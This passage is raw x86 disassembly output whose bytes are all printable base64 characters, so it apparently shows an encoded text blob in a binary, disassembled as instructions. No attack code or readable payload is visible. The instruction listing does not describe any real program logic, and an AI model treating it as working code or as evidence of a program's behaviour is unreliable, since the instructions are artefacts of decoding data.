407e4f:	65 57                	gs push %edi
407e51:	71 33                	jno    0x407e86
407e53:	37                   	aaa
407e54:	59                   	pop    %ecx
407e55:	65 6c                	gs insb (%dx),%es:(%edi)
407e57:	39 2b                	cmp    %ebp,(%ebx)
407e59:	67 38 7a 4d          	cmp    %bh,0x4d(%bp,%si)
407e5d:	77 33                	ja     0x407e92
407e5f:	47                   	inc    %edi
407e60:	72 57                	jb     0x407eb9
407e62:	59                   	pop    %ecx
407e63:	69 2f 2f 47 4b 51    	imul   $0x514b472f,(%edi),%ebp
407e69:	44                   	inc    %esp
407e6a:	75 6a                	jne    0x407ed6
407e6c:	2b 38                	sub    (%eax),%edi
407e6e:	4e                   	dec    %esi
407e6f:	7a 44                	jp     0x407eb5
407e71:	47                   	inc    %edi
407e72:	51                   	push   %ecx
407e73:	30 5a 72             	xor    %bl,0x72(%edx)
407e76:	4f                   	dec    %edi
407e77:	68 77 5a 6c 34       	push   $0x346c5a77
407e7c:	52                   	push   %edx
407e7d:	63 2b                	arpl   %ebp,(%ebx)
407e7f:	64 50                	fs push %eax
407e81:	52                   	push   %edx
407e82:	55                   	push   %ebp
407e83:	38 71 6e             	cmp    %dh,0x6e(%ecx)
407e86:	6c                   	insb   (%dx),%es:(%edi)
407e87:	37                   	aaa
407e88:	73 32                	jae    0x407ebc
407e8a:	49                   	dec    %ecx
407e8b:	65 36 6c             	gs ss insb (%dx),%es:(%edi)
407e8e:	62 4a 50             	bound  %ecx,0x50(%edx)
407e91:	32 57 47             	xor    0x47(%edi),%dl
407e94:	36 52                	ss push %edx
407e96:	50                   	push   %eax
407e97:	73 35                	jae    0x407ece
407e99:	33 76 58             	xor    0x58(%esi),%esi
407e9c:	58                   	pop    %eax
407e9d:	43                   	inc    %ebx
407e9e:	47                   	inc    %edi
407e9f:	41                   	inc    %ecx
407ea0:	38 47 78             	cmp    %al,0x78(%edi)
407ea3:	38 79 61             	cmp    %bh,0x61(%ecx)
407ea6:	5a                   	pop    %edx
407ea7:	62 2f                	bound  %ebp,(%edi)
407ea9:	62 59 62             	bound  %ebx,0x62(%ecx)
407eac:	4a                   	dec    %edx
407ead:	73 53                	jae    0x407f02
407eaf:	65 62 45 37          	bound  %eax,%gs:0x37(%ebp)
407eb3:	4c                   	dec    %esp
407eb4:	73 69                	jae    0x407f1f
407eb6:	6a 4e                	push   $0x4e
407eb8:	2b 42 34             	sub    0x34(%edx),%eax
407ebb:	6d                   	insl   (%dx),%es:(%edi)
407ebc:	45                   	inc    %ebp
407ebd:	50                   	push   %eax
407ebe:	30 61 32             	xor    %ah,0x32(%ecx)
407ec1:	59                   	pop    %ecx
407ec2:	30 44 56 52          	xor    %al,0x52(%esi,%edx,2)
407ec6:	32 4c 7a 45          	xor    0x45(%edx,%edi,2),%cl
407eca:	49                   	dec    %ecx
407ecb:	37                   	aaa
407ecc:	72 35                	jb     0x407f03
407ece:	64 68 54 71 76 52    	fs push $0x52767154
407ed4:	65 47                	gs inc %edi
407ed6:	58                   	pop    %eax
407ed7:	41                   	inc    %ecx
407ed8:	73 4a                	jae    0x407f24
407eda:	62 57 42             	bound  %edx,0x42(%edi)
407edd:	58                   	pop    %eax
407ede:	31 42 7a             	xor    %eax,0x7a(%edx)
407ee1:	44                   	inc    %esp
407ee2:	43                   	inc    %ebx
407ee3:	71 47                	jno    0x407f2c
407ee5:	52                   	push   %edx
407ee6:	65 79 36             	gs jns 0x407f1f
407ee9:	44                   	inc    %esp
407eea:	4d                   	dec    %ebp
407eeb:	68 4a 66 6a 6c       	push   $0x6c6a664a
407ef0:	4d                   	dec    %ebp
407ef1:	79 51                	jns    0x407f44
407ef3:	4a                   	dec    %edx
407ef4:	73 34                	jae    0x407f2a
407ef6:	5a                   	pop    %edx
407ef7:	6e                   	outsb  %ds:(%esi),(%dx)
407ef8:	4d                   	dec    %ebp
407ef9:	2b 69 79             	sub    0x79(%ecx),%ebp
407efc:	4f                   	dec    %edi
407efd:	73 77                	jae    0x407f76
407eff:	66 33 4a 34          	xor    0x34(%edx),%cx
407f03:	4b                   	dec    %ebx
407f04:	4f                   	dec    %edi
407f05:	70 6c                	jo     0x407f73
407f07:	2b 63 43             	sub    0x43(%ebx),%esp
407f0a:	6c                   	insb   (%dx),%es:(%edi)
407f0b:	74 61                	je     0x407f6e
407f0d:	56                   	push   %esi
407f0e:	47                   	inc    %edi
407f0f:	79 64                	jns    0x407f75
407f11:	57                   	push   %edi
407f12:	6d                   	insl   (%dx),%es:(%edi)
407f13:	53                   	push   %ebx
407f14:	62 67 44             	bound  %esp,0x44(%edi)
407f17:	37                   	aaa
407f18:	37                   	aaa
407f19:	68 4e 73 75 45       	push   $0x4575734e
407f1e:	69 49 70 42 78 75 48 	imul   $0x48757842,0x70(%ecx),%ecx
407f25:	62 68 66             	bound  %ebp,0x66(%eax)
407f28:	55                   	push   %ebp
407f29:	49                   	dec    %ecx
407f2a:	4c                   	dec    %esp
407f2b:	43                   	inc    %ebx
407f2c:	47                   	inc    %edi
407f2d:	75 6f                	jne    0x407f9e
407f2f:	54                   	push   %esp
407f30:	52                   	push   %edx
407f31:	44                   	inc    %esp
407f32:	4b                   	dec    %ebx
407f33:	34 6c                	xor    $0x6c,%al
407f35:	57                   	push   %edi
407f36:	55                   	push   %ebp
407f37:	4c                   	dec    %esp
407f38:	55                   	push   %ebp
407f39:	72 51                	jb     0x407f8c
407f3b:	44                   	inc    %esp
407f3c:	68 4d 6d 74 77       	push   $0x77746d4d
407f41:	6f                   	outsl  %ds:(%esi),(%dx)
407f42:	31 74 31 63          	xor    %esi,0x63(%ecx,%esi,1)
407f46:	34 77                	xor    $0x77,%al
407f48:	43                   	inc    %ebx
407f49:	61                   	popa
407f4a:	31 62 4f             	xor    %esp,0x4f(%edx)
407f4d:	2f                   	das
407f4e:	52                   	push   %edx
407f4f:	72 64                	jb     0x407fb5
407f51:	58                   	pop    %eax
407f52:	31 67 76             	xor    %esp,0x76(%edi)
407f55:	69 7a 47 79 6d 53 42 	imul   $0x42536d79,0x47(%edx),%edi
407f5c:	77 49                	ja     0x407fa7
407f5e:	30 68 69             	xor    %ch,0x69(%eax)
407f61:	57                   	push   %edi
407f62:	36 67 6b 35 58       	imul   $0x58,%ss:(%di),%esi
407f67:	59                   	pop    %ecx
407f68:	6a 34                	push   $0x34
407f6a:	62 36                	bound  %esi,(%esi)
407f6c:	43                   	inc    %ebx
407f6d:	47                   	inc    %edi
407f6e:	32 6c 32 47          	xor    0x47(%edx,%esi,1),%ch
407f72:	4b                   	dec    %ebx
407f73:	56                   	push   %esi
407f74:	70 73                	jo     0x407fe9
407f76:	4f                   	dec    %edi
407f77:	39 2b                	cmp    %ebp,(%ebx)
407f79:	76 65                	jbe    0x407fe0
407f7b:	2f                   	das
407f7c:	4f                   	dec    %edi
407f7d:	35 7a 73 69 37       	xor    $0x3769737a,%eax
407f82:	43                   	inc    %ebx
407f83:	57                   	push   %edi
407f84:	4b                   	dec    %ebx
407f85:	65 39 7a 46          	cmp    %edi,%gs:0x46(%edx)
407f89:	6e                   	outsb  %ds:(%esi),(%dx)
407f8a:	76 4b                	jbe    0x407fd7
407f8c:	36 7a 74             	ss jp  0x408003
407f8f:	56                   	push   %esi
407f90:	77 59                	ja     0x407feb
407f92:	59                   	pop    %ecx
407f93:	56                   	push   %esi
407f94:	56                   	push   %esi
407f95:	2b 37                	sub    (%edi),%esi
407f97:	6a 38                	push   $0x38
407f99:	4a                   	dec    %edx
407f9a:	37                   	aaa
407f9b:	35 6f 4a 79 6c       	xor    $0x6c794a6f,%eax
407fa0:	4d                   	dec    %ebp
407fa1:	2f                   	das
407fa2:	34 4a                	xor    $0x4a,%al
407fa4:	38 68 31             	cmp    %ch,0x31(%eax)
407fa7:	72 66                	jb     0x40800f
407fa9:	6b 63 61 58          	imul   $0x58,0x61(%ebx),%esp
407fad:	52                   	push   %edx
407fae:	48                   	dec    %eax
407faf:	5a                   	pop    %edx
407fb0:	74 6e                	je     0x408020
407fb2:	61                   	popa
407fb3:	35 53 4a 45 7a       	xor    $0x7a454a53,%eax
407fb8:	65 36 2b 55 6f       	gs sub %ss:0x6f(%ebp),%edx
407fbd:	4a                   	dec    %edx
407fbe:	39 6d 55             	cmp    %ebp,0x55(%ebp)
407fc1:	77 56                	ja     0x408019
407fc3:	77 74                	ja     0x408039
407fc5:	34 52                	xor    $0x52,%al
407fc7:	37                   	aaa
407fc8:	6a 6e                	push   $0x6e
407fca:	67 6e                	outsb  %ds:(%si),(%dx)
407fcc:	71 74                	jno    0x408042
407fce:	36 6b 6e 57 53       	imul   $0x53,%ss:0x57(%esi),%ebp
407fd3:	45                   	inc    %ebp
407fd4:	58                   	pop    %eax
407fd5:	72 75                	jb     0x40804c
407fd7:	41                   	inc    %ecx
407fd8:	45                   	inc    %ebp
407fd9:	6b 56 48 42          	imul   $0x42,0x48(%esi),%edx
407fdd:	48                   	dec    %eax
407fde:	73 48                	jae    0x408028
407fe0:	46                   	inc    %esi
407fe1:	6a 58                	push   $0x58
407fe3:	6a 42                	push   $0x42
407fe5:	52                   	push   %edx
407fe6:	2b 70 76             	sub    0x76(%eax),%esi
407fe9:	6e                   	outsb  %ds:(%esi),(%dx)
407fea:	6a 79                	push   $0x79
407fec:	65 7a 52             	gs jp  0x408041
407fef:	56                   	push   %esi
407ff0:	4e                   	dec    %esi
407ff1:	37                   	aaa
407ff2:	6e                   	outsb  %ds:(%esi),(%dx)
407ff3:	38 75 4e             	cmp    %dh,0x4e(%ebp)
407ff6:	5a                   	pop    %edx
407ff7:	4d                   	dec    %ebp
407ff8:	69 51 58 56 6f 55 66 	imul   $0x66556f56,0x58(%ecx),%edx
407fff:	7a 53                	jp     0x408054
408001:	43                   	inc    %ebx
408002:	42                   	inc    %edx
408003:	66 4a                	dec    %dx
408005:	79 35                	jns    0x40803c
408007:	44                   	inc    %esp
408008:	69 4b 65 43 79 6d 5a 	imul   $0x5a6d7943,0x65(%ebx),%ecx
40800f:	49                   	dec    %ecx
408010:	76 4b                	jbe    0x40805d
408012:	43                   	inc    %ebx
408013:	74 53                	je     0x408068
408015:	4a                   	dec    %edx
408016:	68 2f 61 38 6f       	push   $0x6f38612f
40801b:	42                   	inc    %edx
40801c:	7a 36                	jp     0x408054
40801e:	38 4b 77             	cmp    %cl,0x77(%ebx)
408021:	4c                   	dec    %esp
408022:	57                   	push   %edi
408023:	68 62 6f 57 4c       	push   $0x4c576f62
408028:	74 4d                	je     0x408077
40802a:	38 52 59             	cmp    %dl,0x59(%edx)
40802d:	58                   	pop    %eax
40802e:	72 56                	jb     0x408086
408030:	4a                   	dec    %edx
408031:	32 64 4c 51          	xor    0x51(%esp,%ecx,2),%ah
408035:	78 51                	js     0x408088
408037:	6c                   	insb   (%dx),%es:(%edi)
408038:	44                   	inc    %esp
408039:	30 78 33             	xor    %bh,0x33(%eax)
40803c:	78 43                	js     0x408081
40803e:	73 73                	jae    0x4080b3
408040:	72 4c                	jb     0x40808e
408042:	68 55 76 34 6d       	push   $0x6d347655
408047:	39 44 55 49          	cmp    %eax,0x49(%ebp,%edx,2)
40804b:	53                   	push   %ebx
40804c:	33 6b 48             	xor    0x48(%ebx),%ebp
40804f:	6a 44                	push   $0x44
408051:	75 67                	jne    0x4080ba
408053:	68 41 6a 74 46       	push   $0x46746a41
408058:	4e                   	dec    %esi
408059:	68 2f 48 74 79       	push   $0x7974482f
40805e:	4c                   	dec    %esp
40805f:	33 4c 33 53          	xor    0x53(%ebx,%esi,1),%ecx
408063:	44                   	inc    %esp
408064:	70 2b                	jo     0x408091
408066:	41                   	inc    %ecx
408067:	2f                   	das
408068:	64 52                	fs push %edx
40806a:	4d                   	dec    %ebp
40806b:	4a                   	dec    %edx
40806c:	77 4c                	ja     0x4080ba
40806e:	38 48 6d             	cmp    %cl,0x6d(%eax)
408071:	52                   	push   %edx
408072:	37                   	aaa
408073:	63 4a 4b             	arpl   %ecx,0x4b(%edx)
408076:	51                   	push   %ecx
408077:	6d                   	insl   (%dx),%es:(%edi)
408078:	47                   	inc    %edi
408079:	47                   	inc    %edi
40807a:	72 4d                	jb     0x4080c9
40807c:	4d                   	dec    %ebp
40807d:	73 79                	jae    0x4080f8
40807f:	33 70 62             	xor    0x62(%eax),%esi
408082:	6d                   	insl   (%dx),%es:(%edi)
408083:	6e                   	outsb  %ds:(%esi),(%dx)
408084:	2f                   	das
408085:	62 4f 72             	bound  %ecx,0x72(%edi)
408088:	4f                   	dec    %edi
408089:	68 77 61 43 39       	push   $0x39436177
40808e:	76 4e                	jbe    0x4080de
408090:	45                   	inc    %ebp
408091:	68 32 72 33 46       	push   $0x46337232
408096:	2f                   	das
408097:	32 4c 46 71          	xor    0x71(%esi,%eax,2),%cl
40809b:	73 32                	jae    0x4080cf
40809d:	6c                   	insb   (%dx),%es:(%edi)
40809e:	68 39 62 78 36       	push   $0x36786239
4080a3:	4d                   	dec    %ebp
4080a4:	32 6d 70             	xor    0x70(%ebp),%ch
4080a7:	59                   	pop    %ecx
4080a8:	51                   	push   %ecx
4080a9:	63 68 2b             	arpl   %ebp,0x2b(%eax)
4080ac:	33 52 41             	xor    0x41(%edx),%edx
4080af:	43                   	inc    %ebx
4080b0:	4e                   	dec    %esi
4080b1:	33 47 71             	xor    0x71(%edi),%eax
4080b4:	58                   	pop    %eax
4080b5:	41                   	inc    %ecx
4080b6:	4a                   	dec    %edx
4080b7:	52                   	push   %edx
4080b8:	35 67 37 53 4c       	xor    $0x4c533767,%eax
4080bd:	78 30                	js     0x4080ef
4080bf:	6d                   	insl   (%dx),%es:(%edi)
4080c0:	41                   	inc    %ecx
4080c1:	57                   	push   %edi
4080c2:	32 56 38             	xor    0x38(%esi),%dl
4080c5:	58                   	pop    %eax
4080c6:	45                   	inc    %ebp
4080c7:	6b 2b 31             	imul   $0x31,(%ebx),%ebp
4080ca:	52                   	push   %edx
4080cb:	77 7a                	ja     0x408147
4080cd:	33 38                	xor    (%eax),%edi
4080cf:	5a                   	pop    %edx
4080d0:	57                   	push   %edi
4080d1:	54                   	push   %esp
4080d2:	31 74 5a 37          	xor    %esi,0x37(%edx,%ebx,2)
4080d6:	57                   	push   %edi
4080d7:	7a 6c                	jp     0x408145
4080d9:	63 55 71             	arpl   %edx,0x71(%ebp)
4080dc:	70 6d                	jo     0x40814b
4080de:	62 34 41             	bound  %esi,(%ecx,%eax,2)
4080e1:	55                   	push   %ebp
4080e2:	47                   	inc    %edi
4080e3:	70 62                	jo     0x408147
4080e5:	4b                   	dec    %ebx
4080e6:	48                   	dec    %eax
4080e7:	39 67 64             	cmp    %esp,0x64(%edi)
4080ea:	49                   	dec    %ecx
4080eb:	43                   	inc    %ebx
4080ec:	48                   	dec    %eax
4080ed:	67 39 5a 4e          	cmp    %ebx,0x4e(%bp,%si)
4080f1:	55                   	push   %ebp
4080f2:	58                   	pop    %eax
4080f3:	64 6c                	fs insb (%dx),%es:(%edi)
4080f5:	61                   	popa
4080f6:	45                   	inc    %ebp
4080f7:	76 6a                	jbe    0x408163